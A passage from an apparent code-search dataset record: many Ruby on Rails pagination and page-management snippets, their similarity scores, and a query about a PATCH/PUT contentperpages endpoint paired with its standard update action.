"def pages\n project_size = Project.all.length\n\n puts project_size\n\n respond_to do |format|\n format.json {\n @pages = (project_size/10.0).ceil\n render :json => @pages \n }\n end\n end",
"def index\n @contentperpages = Contentperpage.all\n end",
"def set_contentperpage\n @contentperpage = Contentperpage.find(params[:id])\n end",
"def assign_pages!\n payload[\"page\"] = document.to_liquid\n payload[\"paginator\"] = (document.pager.to_liquid if document.respond_to?(:pager))\n end",
"def page_content_params\n params.require(:page_content).permit(:contents).to_h\n end",
"def pages\n end",
"def index\n @contents = Content.order('created_at DESC').paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def num_pages\n \n # Retrieve postings that match the given conditions\n postings = getPostings(params)\n \n # Escapes the case when @postings is nil\n num_pages = postings.blank? ? 0 : postings.num_pages\n \n respond_to do |format|\n format.json { render json: num_pages }\n end\n \n end",
"def index\n @pages = Page.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def count_page\n num_pages = current_cookbook.num_pages\n render json: {num_pages: num_pages}\n end",
"def max_pages() 1 end",
"def index\n respond_with(@pages = Page.all.paginate(:page => params[:page] || 1, :per_page => params[:per_page] || 5))\n end",
"def index\n @pages = Page.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Page.roots.map{|r| r.node}}\n end\n end",
"def index\n @pages = Page.all\n render json: @pages\n end",
"def get_page_data(json_file)\n pages = {}\n pages[\"page_count\"] = json_file[\"pagination\"][\"page_count\"]\n pages[\"page_number\"] = json_file[\"pagination\"][\"page_number\"]\n return pages\n end",
"def index\n respond_to do |format|\n format.html\n format.json do\n collections = Collection.where.not(published_at: nil)\n .order(published_at: :desc)\n .page(params[:page])\n .per(Collection::COLLECTION_PER)\n is_more_load = collections.total_pages > params[:page].to_i\n render json: { collections: collections, is_more_load: is_more_load }\n end\n end\n end",
"def pages; end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def page_params\n params.require(:page).permit(:name, :content, :user_id)\n end",
"def page_params\n params.permit(:page, :per_page)\n end",
"def children\n @pages = @page.children\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def paginate\n @chirps = Post.timeline(current_user).order(\"created_at DESC\").page(params[:page])\n render json: @chirps, status: 200\n end",
"def set_page\n if request.format.html? && params[:field] && params[:value]\n field = Content.field_index_to_sym(params[:field])\n\n if Content.column_names.include?(field.to_s)\n matches = policy_scope(Content).where(upload: @upload).where('sequence > 0').order(sort_column.to_s + ' ' + sort_direction.to_s)\n .select(Content.sanitize_sql_for_conditions([\"#{field} = ? as matches\", params[:value]]))\n index = matches.to_a.find_index { |content| ActiveModel::Type::Boolean.new.cast(content[:matches]) }\n\n if index\n page ||= index / params[:limit]\n params[:page] = page + 1 if page && page > 0\n end\n end\n end\n end",
"def page_params\n params.require(:page).permit(:name, :content, :path)\n end",
"def page_params\n params.permit(:page, :page_size)\n end",
"def page_chunk_params\n params.require(:page_chunk).permit(:name, :content)\n end",
"def page_params\n params.permit(:page, :page_size)\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n\n # find all pages\n @pages = Page.all\n\n # send data in different format\n respond_to do |format|\n format.html{render :template => 'mcms_pages/admin/pages/index'}# index.html.erb\n format.json { render json: @pages }\n end # end respond_to\n\n end",
"def page_params\n params.require(:page).permit(:url, :title, :content)\n end",
"def page_params\n params.require(:page).permit(:link, :content)\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n page_id = params[:page] || 1\n @articles = Article.order('comments_count desc').page(page_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def per_page\n @per_page ||= (params[:per_page] || parent.contents_per_page)\n end",
"def page_params\n params.permit(:page, :page_size)\n end",
"def page_params\n params.permit(:page, :page_size)\n end",
"def page_params\n params.permit(:page, :page_size)\n end",
"def page_params\n params.require(:page).permit(:name, :page_chunk_id)\n end",
"def pages\n @pages \n end",
"def posts_per_page\n 20\n end",
"def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"def post_process(pages)\n end",
"def pages\n get(\"v1/account/#{@email}/pages\")\n end",
"def create_page(title, content, ancestor_id)\n url = host + '/rest/api/content?expand=version,ancestors,space'\n payload = {\n title: title,\n type: 'page',\n space: {key: space},\n ancestors: Array(ancestor_id).map { |ans_id| { id: ans_id } },\n body: {\n storage: {\n value: content,\n representation: 'storage'\n }\n }\n }\n\n req_result = send_request(:post, url, payload, default_headers)\n Model::Page.new req_result[:body] if req_result[:success]\n end",
"def per_page\n 1_000\n end",
"def index\n @content_pages = ContentPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @content_pages }\n end\n end",
"def index\n render json: Item.paginate(page: params[:page], per_page: 25)\n end",
"def index\n @pages = Page.all.sort{|a, b| [a.data_row, a.data_col] <=> [b.data_row, b.data_col] }.paginate(:per_page => 16, :page => params[:page] || 1)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def page_params\n end",
"def index\n @pages = Page.all\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def ingest_pages\n @table_of_contents.unique_pages.each_with_index do |entry, index|\n label = entry ? Utils.xml_escape(entry.title) : \"Page #{index + 1}\"\n @component_objects.push ingest_page(entry.image_filename, label, index + 1)\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def index\n pages = Page.find_by_sql(\"select * from pages\").map { |page| {page: page} }\n if params[:page]\n @pages = get_page_and_offset(13, params[:page].to_i, pages)\n else\n @pages = get_page_and_offset(13, 1, pages)\n end\n\n respond_to do |format|\n format.html\n format.js {render 'paginate_pages.js.erb'}\n end\n end",
"def index\n @pages = current_site.pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def page_params\n\t\t\t\tparams.permit(:page, :page_size)\n\t\t\tend",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.json { render json: @pages }\n format.xml { render xml: @pages }\n end\n end",
"def pages_in_space(space_key: nil)\n parameters = {\n limit: 1000,\n expand: 'children,ancestors'\n }\n target_url = @base_url + \"/space/#{space_key}/content/page\"\n resp = Typhoeus.get(target_url, params: parameters, userpwd: \"#{@user}:#{@pass}\")\n\n if resp.response_code == 200\n r = JSON.parse(resp.body)\n results = JSON.parse(resp.body)['results']\n end\n end",
"def pages=(value)\n @pages = value\n end",
"def page_param\n params.permit(:page)[:page]\n end",
"def create_pages(page)\n skip_count = 0\n page[:content].split( SEP_PAGES ).each_with_index do |content,i|\n if content =~ PTN_METADATA\n page[:title] = $1;page[:tag] = $2\n page[:created_at] = str2time( $3 ) if !$3.blank?\n h = {};$4.split('|').each{|e| pair = e.split('=') ; h[pair[0].to_sym] = pair[1] }\n h[:public_flag] = false if !h[:public_flag] || h[:public_flag] != \"true\"\n h[:page_type] = 'N' if !h[:page_type]\n page.merge!(h)\n #$lgr.info page.inspect\n content.gsub! PTN_METADATA , \"\"\n end\n page[:content] = content\n extract_data Page.create!(page)\n end.length\n end",
"def index\n respond_with(pages)\n end",
"def max_pages\n return 1 if (result_attrs.blank? || result_attrs['totalPages'].blank?)\n attrs['totalPages'].to_i.clamp(1,self.hard_request_limit)\n end",
"def total_pages; end",
"def page_params\n params.require(:page).permit(:name, :content, :content2, :file, :path)\n end",
"def pages\n @pages\n end",
"def index\n\n @pagy, @posts = pagy(Post.cleaner)\n\n paginationObj = {\n page: @pagy.page,\n prev: @pagy.prev,\n next: @pagy.next,\n last: @pagy.last, \n }\n\n render :json => { postsArr: @posts, pagyData: paginationObj }\n end",
"def pages\n @pages\n end",
"def page_params\n params.require(:page).permit(:user_id, :title, :content, :sort_order, :published)\n end",
"def page_params\n params.require(:page).permit(:name, :content, :parent_id, :state)\n end",
"def view\n \t@parent = params[:parent]\n\n @pages = Page.where(\"digital_edition_id = ?\", @parent).order(\"page_page ASC\").page( params[:page]).per(20)\n\n respond_to do |format|\n format.html # view.html.erb\n format.json { render json: @page }\n end\n end",
"def index\n get_own_documents\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_documents\n end\n render_js_or_html_index\n end",
"def paginate(num)\n l = sorted_articles\n npages = (l.length - 1) / num\n\n for i in 1..(npages)\n create_old_page \"/page/\", i, npages, num\n end\n end",
"def cms_page_params\n params.require(:cms_page).permit(:title, :category, :page_type, :external_url, :internal_url, :document, :page_template_id, :cols, page_sections_attributes: [ :id, :photo, :body, :page_id ])\n end",
"def index\n @pages = Page.all\n\n respond_with @pages\n end",
"def new\n @page = Page.new\n @parent = params[:parent]\n @digitaledition = DigitalEdition.find(@parent)\n @de_title = @digitaledition.digital_edition_local_title\n @pages = Page.where(\"digital_edition_id = ?\", @parent).order(\"page_page DESC\").first\n @diged = @digitaledition.id\n\n if (@pages)\n @int_page_value = @pages.page_page + 1\n if (@int_page_value == 0)\n @int_page_value = 1\n end\n else\n @int_page_value = 1\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def per_page_list\n [[\"10\"], [\"25\"],[\"50\"],[\"100\"],[\"200\"]]\n end",
"def per_page; end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html {render :layout => \"layout_1\"}\n format.json { render json: @pages }\n end\n end",
"def update\n respond_to do |format|\n if @contentperpage.update(contentperpage_params)\n format.html { redirect_to @contentperpage, notice: 'Contentperpage was successfully updated.' }\n format.json { render :show, status: :ok, location: @contentperpage }\n else\n format.html { render :edit }\n format.json { render json: @contentperpage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def pages\n get(\"v1/event/#{@id}/pages\")\n end",
"def page_size\n 10\n end",
"def page_params\n params.require(:page).permit(:title, :slug, :content, :status)\n end",
"def page_params\n params.require(:page).permit(:sequence_id, :pageable_id, :pageable_type, :subject_id)\n end",
"def calculate_pages\n pdftk_cmd = \"#{CONFIG[:pdftk]} #{@source} dump_data | grep NumberOfPages | grep -o -e \\\"\\\\([0-9]*\\\\)$\\\"\"\n @pages = %x[#{pdftk_cmd}].to_i\n end",
"def create_many(data)\n command(create: :pages, result: :many).call(data)\n end",
"def create_page\n puts 'params = ' + params.inspect\n puts params[:content_page].inspect\n puts params[:content_page['name']].inspect\n @page = ContentPage.new(params[:content_page])\n puts '@page = ' + @page.inspect\n\n respond_to do |format|\n if @page.save\n format.html { redirect_to show_content_pages_path(@page.id), notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created }\n else\n format.html { render :controller => 'content_pages', action: \"new\", alert: 'There were Errors. Could not Create a New Page.' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def page_params\n params.require(:page).permit(:title, :status, :content, :hero_content, :hero_image)\n end",
"def pages= number_of_pages\n \t@pages = number_of_pages\n end",
"def total_words\n @page = Page.find(params[:id])\n @word_count = @page.title.length + @page.content.length\n\n respond_to do |format|\n format.json {render json: @word_count}\n format.xml {render xml: @word_count}\n end\n end",
"def index\n @pages = Page.all.order(\"id desc\").page(params[:page]).per_page(8)\n \n end",
"def page_size\n 50\n end",
"def num_pages\n 26\n end"
] |
[
"0.692979",
"0.6776244",
"0.66119695",
"0.6409838",
"0.63278866",
"0.6066663",
"0.5993099",
"0.5983188",
"0.5963665",
"0.5960876",
"0.5957527",
"0.59421784",
"0.590076",
"0.5892784",
"0.5879677",
"0.5866372",
"0.58314043",
"0.5816018",
"0.5811279",
"0.5778164",
"0.57739073",
"0.5740354",
"0.5725465",
"0.5719587",
"0.5718069",
"0.5711591",
"0.5710411",
"0.56923634",
"0.5689273",
"0.5689273",
"0.5689273",
"0.5689273",
"0.5689273",
"0.5689273",
"0.5689273",
"0.565256",
"0.56475496",
"0.56465214",
"0.56328005",
"0.5630102",
"0.5629108",
"0.56020886",
"0.56020886",
"0.56020886",
"0.5598243",
"0.5579556",
"0.5573241",
"0.5568719",
"0.5563808",
"0.5563643",
"0.556329",
"0.55602056",
"0.5559603",
"0.55522543",
"0.5550976",
"0.554943",
"0.55424494",
"0.55397934",
"0.5535975",
"0.5535002",
"0.553124",
"0.5530678",
"0.5528946",
"0.5525799",
"0.55230767",
"0.5522217",
"0.55151856",
"0.5515144",
"0.55098605",
"0.5503805",
"0.5496867",
"0.549327",
"0.5488698",
"0.5486525",
"0.5481897",
"0.54692143",
"0.5451685",
"0.54456276",
"0.5442535",
"0.54398656",
"0.5428601",
"0.54210144",
"0.5420138",
"0.541971",
"0.5418052",
"0.54143596",
"0.54143596",
"0.54137224",
"0.5403344",
"0.53948647",
"0.5392223",
"0.53905153",
"0.53884906",
"0.5378146",
"0.5377671",
"0.53730696",
"0.537275",
"0.5372654",
"0.5368407",
"0.5367757"
] |
0.631745
|
5
|
PATCH/PUT /contentperpages/1 PATCH/PUT /contentperpages/1.json
|
def update
respond_to do |format|
if @contentperpage.update(contentperpage_params)
format.html { redirect_to @contentperpage, notice: 'Contentperpage was successfully updated.' }
format.json { render :show, status: :ok, location: @contentperpage }
else
format.html { render :edit }
format.json { render json: @contentperpage.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n authorize @page_content.page, :update?\n\n respond_to do |format|\n if @page_content.update(page_content_params)\n format.json { render :show, status: :ok, location: @page_content }\n else\n format.json { render json: @page_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:page][:id])\n if current_user.id != @page.owner_id\n not_found\n end\n @page.partial_update(params)\n respond_to do |format|\n format.json {\n render partial: 'pages/page.json'\n }\n end\n end",
"def update\n @page = current_cms.pages.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:big_cms_page])\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = ContentPage.find(params[:id])\n respond_to do |format|\n if @page.update_attributes(params[:content_page])\n @editingPage = false\n format.html { redirect_to show_content_pages_path(@page.id), notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_content_pages_path(@page.id), alert: 'Unable to update Page successfully.'}\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page_chunk = PageChunk.find(params[:id])\n #TODO: Not sure why \"undefined\" is a key.\n #TODO: multiple editable section on one page not working; the content for the last\n # is always \n @page_chunk.content = params[:content][:undefined][:value]\n @page_chunk.save!\n\n render text: \"\"\n=begin\n respond_to do |format|\n if @page_chunk.update(page_chunk_params)\n format.html { redirect_to @page_chunk, notice: 'Page chunk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page_chunk.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @page.errors, status: :unprocessable_entity }\n format.xml { render xml: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to [:admin, @page], notice: 'Страница успешно создана.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #Render the object created or errors\n respond_to do |format|\n if @page.update(page_params)\n #Cache bust pages and updated page. With pagination we would only bust the cache of the page that was updated.\n Rails.cache.delete(\"pages\")\n Rails.cache.delete(\"page-#{@page.id}\")\n format.json { render action: 'show', status: :ok, location: api_page_url(@page) }\n else\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if page_params[:body]\n @page.versions << Version.new(body: page_params[:body], title: page_params[:title]).save\n page_params.delete :body\n end\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to controller: \"pages\", action: \"show\", slug: @page[:page_slug], notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pagecontent = @page.pagecontents.find(params[:id])\n\n respond_to do |format|\n if @pagecontent.update_attributes(params[:pagecontent])\n flash[:notice] = 'Pagecontent was successfully updated.'\n format.html {redirect_to(page_pagecontents_path(@page)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pagecontent.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to admin_subject_pages_path, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_contentperpage\n @contentperpage = Contentperpage.find(params[:id])\n end",
"def update\n @page = current_site.pages.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to quick_page_path(@page), notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n\n #find the page with given id\n @page = Page.find(params[:id])\n\n #use updated_at manually, it will update the page table if user hits update button.\n # This may not be trivial, so it may change.\n @page.updated_at = Time.now\n\n #retrieving layout id from params and assigning to a variable\n @layout = @page[:layout_id]\n\n # calling method to find all pages and page parts\n find_pages_and_parts(@layout)\n\n #sends in data in different format\n respond_to do |format|\n\n if @page.update_attributes(params[:page]) #page updated successfully\n\n format.html { redirect_to admin_pages_path, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n\n else #page saving failed, re-renders edit template\n\n format.html { render action: \"edit\", :template => 'mcms_pages/admin/pages/edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n\n end # end if\n\n end # end respond_to block\n\n end",
"def update\n @page = Page.find(params[:id])\n @page.update_attributes(params[:page])\n respond_with(@page)\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to pages_path, sucess: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pages_article = PagesArticle.find(params[:id])\n\n respond_to do |format|\n if @pages_article.update_attributes(params[:pages_article])\n format.html { redirect_to @pages_article, notice: 'Pages article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pages_article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to all_pages_path(:magazine_id=>@page.magazine_id), notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n expire_page :action => :show\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = current_site.pages.find(params[:id])\n @site = @page.site\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to(@page, :notice => 'Page was successfully updated.') }\n format.json { respond_with_bip(@page) }\n else\n format.html { render :action => \"edit\" }\n format.json { respond_with_bip(@page) }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n @page.update_attributes(params[:page])\n respond_with(@page, :status => :updated)\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to pages_path, notice: 'Page was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @nested_page = Nested::Page.find(params[:id])\n\n respond_to do |format|\n if @nested_page.update_attributes(params[:nested_page])\n format.html { redirect_to @nested_page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nested_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n # Update the last user that updated the content\n @page.content.user = current_user if logged_in?\n @page.content.published = true if params[:commit] == \"Publish\"\n @page.tag_list.add(params[:tags_to_apply], :parse => true)\n\t\n respond_to do |format|\n if @page.update_attributes(params[:page]) && @page.content.update_attributes(params[:content])\n notify :notice, 'Page was successfully updated.'\n \n format.html { redirect_to(@page) }\n format.xml { head :ok }\n format.js\n else\n\t\t notify :error, \"There was an error updating the page.\"\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n @page.section_id = params[:section_id] unless params[:section_id].nil? \n @page.title = params[:title] unless params[:title].nil? \n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n #ormat.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cms_page = CmsPage.find(params[:id])\n params[:cms_page][:parent_id] = 0 if params[:cms_page][:parent_id].blank?\n respond_to do |format|\n if @cms_page.update_attributes(params[:cms_page])\n expire_page \"/#{@cms_page.path}\"\n flash[:notice] = 'CMS Page was successfully updated.'\n format.html { redirect_to(['admin', @cms_page]) }\n format.xml { head :ok }\n else\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cms_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n @testimonials = Testimonial.all\n \n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page.update(cms_page_params)\n if @cms_page.page_type == \"Template\"\n\t format.html { redirect_to :action => \"add_content\", :id => @cms_page.id, notice: 'Page was successfully updated.' }\n\t else \n\t \tformat.html { redirect_to @cms_page, notice: 'Page was successfully updated.' }\n\t end\n format.json { render :show, status: :ok, location: @cms_page }\n else\n format.html { render :edit }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @page.update_attributes(params[:page])\n respond_with(@page)\n else\n respond_with(@page)\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to page_path(@page), notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page.update(cms_page_params)\n format.html { redirect_to @cms_page, notice: 'Cms page was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_page }\n else\n format.html { render :edit }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page.update(cms_page_params)\n format.html { redirect_to @cms_page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_page }\n else\n format.html { render :edit }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n # Clear the page cache for this page... ?\n @page = ComatosePage.find params[:id]\n @root_pages = [fetch_root_page].flatten\n if request.post?\n @page.update_attributes(params[:page])\n @page.updated_on = Time.now\n @page.author = fetch_author_name\n if @page.save\n expire_cms_page @page\n expire_cms_fragment @page\n flash[:notice] = \"Saved changes to '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end\n end",
"def update\n respond_to do |wants|\n if @page.update_attributes(params[:page])\n \n flash[:notice] = 'Страница сохранена.'\n wants.html { redirect_to(admin_pages_url) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.friendly.find(params[:id])\n\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to [:admin, @page], notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page_layout = PageLayout.find(params[:id])\n\n respond_to do |format|\n if @page_layout.update_attributes(params[:page_layout].permit(:content_type, :name, :num_panels, :html_content, :preview_content))\n format.html { redirect_to @page_layout, notice: 'Page layout was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page_layout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: \"Page was successfully updated. #{undo_link}\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #Mercury update for PageChunk (instead of the Page update stuff)\n @page_chunk = PageChunk.find(params[:page_chunk_id])\n #TODO: Not sure why \"undefined\" is a key.\n @page_chunk.content = params[:content][:undefined][:value]\n @page_chunk.save!\n\n render text: \"\"\n end",
"def update\n respond_to do |format|\n if @pagecount.update(pagecount_params)\n format.html { redirect_to @pagecount, notice: 'Pagecount was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pagecount.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @pages_tree[(@page.id).to_s], notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
